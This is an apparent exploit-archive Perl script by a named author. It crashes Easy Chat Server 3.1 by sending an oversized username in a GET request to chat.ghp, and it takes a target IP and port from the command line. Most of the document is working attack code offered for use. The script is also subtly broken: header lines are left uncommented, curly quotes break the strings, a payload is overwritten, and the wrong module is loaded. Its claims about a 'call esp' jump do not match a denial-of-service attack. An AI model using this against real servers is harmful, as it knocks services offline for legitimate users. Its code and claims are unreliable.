#!/usr/bin/perl

use Net::FTP;

Exploit Title: Easy Chat Server 3.1 - Denial of Service (DoS)

Discovery by: Fernando Mengali

Discovery Date: 05 january 2024

Vendor Homepage: N/A

Download to demo: https://drive.google.com/file/d/1ZbfeaWSEKlpvCG1eUtD0vNnfkNz_8PlE/view

Notification vendor: No reported

Tested Version:Easy Chat Server 3.1

Tested on: Window XP Professional - Service Pack 2 and 3 - English

Vulnerability Type: Denial of Service (DoS)

Vídeo: https://drive.google.com/file/d/1rG6uTXTg3cTg86qmp9rh2ozQfyOV_Av7/view

#1. Description

#His technique works fine against Windows XP Professional Service Pack 2 and 3 (English).
#For this exploit I have tried several strategies to increase reliability and performance:
#Jump to a static ‘call esp’
#Backwards jump to code a known distance from the stack pointer.
#The server did not properly handle request with large amounts of data via method GET to web server.
#The following request sends a large amount of data to the web server to process across method GET, the server will crash as soon as it is received and processed, causing denial of service conditions.
#Successful exploitation of these issues allows remote attackers to crash the affected server, denying service to legitimate users.

#2. Proof of Concept - PoC

$sis="$^O";

if ($sis eq "windows"){  
  $cmd="cls";  
} else {  
  $cmd="clear";  
}

system("$cmd");

    intro();  
main();

    print "[+] Exploiting... \n";

my $payload = "\x90" x 16;  
$payload = "\x41"x568;

my $buffer = “GET /chat.ghp?username=” . $payload . "&password=&room=2 HTTP/1.1\r\n";
$buffer .= "User-Agent: Internet Explorer/4.0\r\n";
$buffer .= "Host: $ip:$port\r\n";
$buffer .= "Referer: http://$ip\r\n";
$buffer .= "Connection: Keep-Alive\r\n\r\n";

print("[+] Exploiting…\n");
my $socket = IO::Socket::INET->new(
PeerAddr => $ip,
PeerPort => $port,
Proto => 'tcp’,
) or die "Could not connect! Error: $!\n";

$socket->send($buffer);
close($socket);

print "[+] Done - Exploited success!!!!!\n\n";

 sub intro {  
  print "#################################################################\n";  
  print "#           Easy Chat Server 3.1 - Denied of Service            #\n";  
  print "#                                                               #\n";  
  print "#                Coded by Fernando Mengali                      #\n";  
  print "#                                                               #\n";  
  print "#              e-mail: fernando.mengalli\@gmail.com             #\n";  
  print "#                                                               #\n";  
  print "#################################################################\n";  

}

sub main {

our ($ip, $port) = @ARGV;

  unless (defined($ip) && defined($port)) {

    print "       \nUsage: $0 <ip> <port>                 \n";  
    exit(-1);

  }  

}

#3. Solution/ How to fix:

This version product is deprecated